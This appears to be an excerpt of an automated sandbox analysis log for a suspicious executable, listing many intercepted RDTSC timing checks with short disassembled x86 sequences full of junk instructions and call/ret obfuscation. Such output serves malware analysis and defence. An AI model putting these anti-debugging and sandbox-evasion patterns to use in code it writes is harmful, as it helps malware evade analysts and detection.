Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BAE62C second address: BAE69C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebp 0x0000000a call 00007FBDC0E80B78h 0x0000000f pop ebp 0x00000010 mov dword ptr [esp+04h], ebp 0x00000014 add dword ptr [esp+04h], 00000014h 0x0000001c inc ebp 0x0000001d push ebp 0x0000001e ret 0x0000001f pop ebp 0x00000020 ret 0x00000021 cmc 0x00000022 push dword ptr fs:[00000000h] 0x00000029 jns 00007FBDC0E80B8Fh 0x0000002f mov dword ptr fs:[00000000h], esp 0x00000036 xor dword ptr [ebp+122D5579h], ebx 0x0000003c mov eax, dword ptr [ebp+122D04C9h] 0x00000042 mov bx, 5171h 0x00000046 push FFFFFFFFh 0x00000048 xor bl, FFFFFFA1h 0x0000004b push eax 0x0000004c jp 00007FBDC0E80B84h 0x00000052 pushad 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BB144B second address: BB14CB instructions: 0x00000000 rdtsc 0x00000002 jno 00007FBDC110A21Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007FBDC110A218h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 0000001Dh 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 xor bx, 3131h 0x0000002a mov ebx, 61EED479h 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push ebx 0x00000034 call 00007FBDC110A218h 0x00000039 pop ebx 0x0000003a mov dword ptr [esp+04h], ebx 0x0000003e add dword ptr [esp+04h], 00000015h 0x00000046 inc ebx 0x00000047 push ebx 0x00000048 ret 0x00000049 pop ebx 0x0000004a ret 0x0000004b sub ebx, 718D3C61h 0x00000051 sub dword ptr [ebp+122D27C6h], eax 0x00000057 push 00000000h 0x00000059 or ebx, 2B699EAAh 0x0000005f xchg eax, esi 0x00000060 pushad 0x00000061 jg 00007FBDC110A218h 0x00000067 push edx 0x00000068 pop edx 0x00000069 pushad 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BB14CB second address: BB14E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007FBDC0E80B7Dh 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BB06D9 second address: BB06DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BB06DF second address: BB06E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BB23CD second address: BB23D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BB23D1 second address: BB23DB instructions: 0x00000000 rdtsc 0x00000002 jl 00007FBDC0E80B76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BB15F0 second address: BB1609 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBDC110A225h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BB23DB second address: BB23E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BB23E1 second address: BB23E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BB23E5 second address: BB2407 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FBDC0E80B87h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BB24AF second address: BB24B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BB4455 second address: BB4459 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BB4459 second address: BB44B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b call 00007FBDC110A218h 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 add dword ptr [esp+04h], 0000001Ah 0x0000001d inc eax 0x0000001e push eax 0x0000001f ret 0x00000020 pop eax 0x00000021 ret 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push esi 0x00000027 call 00007FBDC110A218h 0x0000002c pop esi 0x0000002d mov dword ptr [esp+04h], esi 0x00000031 add dword ptr [esp+04h], 00000016h 0x00000039 inc esi 0x0000003a push esi 0x0000003b ret 0x0000003c pop esi 0x0000003d ret 0x0000003e push 00000000h 0x00000040 jmp 00007FBDC110A21Bh 0x00000045 push eax 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BB44B7 second address: BB44C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBDC0E80B7Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BB6300 second address: BB6304 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BB6304 second address: BB630A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BB630A second address: BB633B instructions: 0x00000000 rdtsc 0x00000002 jl 00007FBDC110A227h 0x00000008 jmp 00007FBDC110A221h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], eax 0x00000012 movsx ebx, bx 0x00000015 push 00000000h 0x00000017 cld 0x00000018 push 00000000h 0x0000001a mov ebx, 0BC8EE71h 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 push edi 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BB633B second address: BB6340 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BB6340 second address: BB6346 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BB46CF second address: BB46EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBDC0E80B87h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BB25FC second address: BB2602 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BB2602 second address: BB2606 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BB71FD second address: BB7203 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BB7203 second address: BB721E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jnc 00007FBDC0E80B76h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FBDC0E80B7Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BB6557 second address: BB655E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BB93B3 second address: BB93B9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BB9466 second address: BB946C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BB946C second address: BB9470 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BB9470 second address: BB9487 instructions: 0x00000000 rdtsc 0x00000002 js 00007FBDC110A216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d je 00007FBDC110A22Ah 0x00000013 push eax 0x00000014 push edx 0x00000015 push edx 0x00000016 pop edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BC1346 second address: BC134C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BC0B9A second address: BC0BB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 ja 00007FBDC110A216h 0x0000000b jc 00007FBDC110A216h 0x00000011 popad 0x00000012 push edi 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BC5EB1 second address: BC5EB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BC5EB7 second address: BC5EBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BCD532 second address: BCD538 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BCD538 second address: BCD53C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BCD53C second address: BCD548 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BCD548 second address: BCD54C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BCD54C second address: BCD552 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BCD552 second address: BCD558 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BCD558 second address: BCD56F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBDC0E80B83h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BCD56F second address: BCD59E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBDC110A21Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FBDC110A226h 0x0000000f jng 00007FBDC110A216h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B6459B second address: B645C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBDC0E80B81h 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FBDC0E80B7Ch 0x00000011 jns 00007FBDC0E80B76h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B645C5 second address: B645C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B645C9 second address: B645D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B645D5 second address: B645DD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BCCE20 second address: BCCE34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBDC0E80B80h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BCCE34 second address: BCCE57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 jnc 00007FBDC110A216h 0x0000000f pop eax 0x00000010 jg 00007FBDC110A21Ah 0x00000016 pushad 0x00000017 popad 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a push esi 0x0000001b jno 00007FBDC110A216h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BCCF8D second address: BCCF9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pushad 0x00000009 popad 0x0000000a pop edi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BCCF9B second address: BCCFA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BCD0FD second address: BCD101 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BCD101 second address: BCD12C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FBDC110A224h 0x0000000b jmp 00007FBDC110A21Ah 0x00000010 popad 0x00000011 push ecx 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BD34F7 second address: BD3527 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FBDC0E80B76h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jp 00007FBDC0E80B7Ch 0x00000013 je 00007FBDC0E80B76h 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FBDC0E80B83h 0x00000020 push edx 0x00000021 pop edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B5F1B4 second address: B5F1C4 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FBDC110A216h 0x00000008 ja 00007FBDC110A216h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BA81FC second address: B873EE instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FBDC0E80B76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007FBDC0E80B78h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 00000019h 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 call dword ptr [ebp+1244CDCFh] 0x0000002c jc 00007FBDC0E80BAEh 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BA8364 second address: BA8369 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BA8369 second address: BA836E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BA836E second address: BA8374 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BA8374 second address: BA8382 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BA8382 second address: BA8388 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BA8688 second address: BA8692 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FBDC0E80B7Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BA8692 second address: 9F7A19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 or dword ptr [ebp+122D1990h], eax 0x0000000f push dword ptr [ebp+122D1029h] 0x00000015 or dword ptr [ebp+12471562h], eax 0x0000001b call dword ptr [ebp+122D29FEh] 0x00000021 pushad 0x00000022 mov dword ptr [ebp+122D2F08h], edi 0x00000028 xor eax, eax 0x0000002a je 00007FBDC110A21Ch 0x00000030 mov edx, dword ptr [esp+28h] 0x00000034 pushad 0x00000035 mov di, dx 0x00000038 mov esi, 43016A00h 0x0000003d popad 0x0000003e mov dword ptr [ebp+122D36CFh], eax 0x00000044 clc 0x00000045 mov esi, 0000003Ch 0x0000004a jmp 00007FBDC110A226h 0x0000004f jbe 00007FBDC110A21Ch 0x00000055 add esi, dword ptr [esp+24h] 0x00000059 cmc 0x0000005a lodsw 0x0000005c jmp 00007FBDC110A21Ch 0x00000061 add eax, dword ptr [esp+24h] 0x00000065 mov dword ptr [ebp+122D2F08h], edx 0x0000006b mov ebx, dword ptr [esp+24h] 0x0000006f cmc 0x00000070 nop 0x00000071 push ecx 0x00000072 push eax 0x00000073 push edx 0x00000074 push eax 0x00000075 push edx 0x00000076 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BA879E second address: BA87EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBDC0E80B83h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 4D5775E1h 0x00000010 mov ecx, edi 0x00000012 call 00007FBDC0E80B79h 0x00000017 jne 00007FBDC0E80B89h 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jl 00007FBDC0E80B78h 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BA87EB second address: BA8840 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBDC110A21Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push edx 0x0000000e jmp 00007FBDC110A223h 0x00000013 pop edx 0x00000014 mov eax, dword ptr [eax] 0x00000016 jnc 00007FBDC110A22Fh 0x0000001c jmp 00007FBDC110A229h 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 push eax 0x00000026 push edx 0x00000027 push ebx 0x00000028 push edi 0x00000029 pop edi 0x0000002a pop ebx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BA8840 second address: BA8845 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BA8A86 second address: BA8AA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBDC110A229h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BA8AA3 second address: BA8AA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BA8BCF second address: BA8BD9 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FBDC110A21Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BA8D5D second address: BA8DA7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBDC0E80B7Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007FBDC0E80B78h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 00000018h 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 mov dword ptr [ebp+1244BD1Ah], ecx 0x0000002a push 00000004h 0x0000002c add ecx, 1E6AA03Ah 0x00000032 nop 0x00000033 pushad 0x00000034 je 00007FBDC0E80B7Ch 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BA9179 second address: BA917D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B87FE8 second address: B87FF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: B87FF0 second address: B87FFE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBDC110A21Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BD2631 second address: BD2635 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BD2635 second address: BD2652 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FBDC110A216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FBDC110A223h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BD2652 second address: BD266E instructions: 0x00000000 rdtsc 0x00000002 jp 00007FBDC0E80B82h 0x00000008 je 00007FBDC0E80B7Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BD2A3B second address: BD2A43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BD2A43 second address: BD2A4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FBDC0E80B76h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BD2A4F second address: BD2A72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBDC110A225h 0x00000009 popad 0x0000000a pop ebx 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BD2F49 second address: BD2F4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BD2F4F second address: BD2F57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	RDTSC instruction interceptor: First address: BD2F57 second address: BD2F75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jne 00007FBDC0E80B76h 0x0000000c jns 00007FBDC0E80B76h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 pushad 0x00000016 jne 00007FBDC0E80B76h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
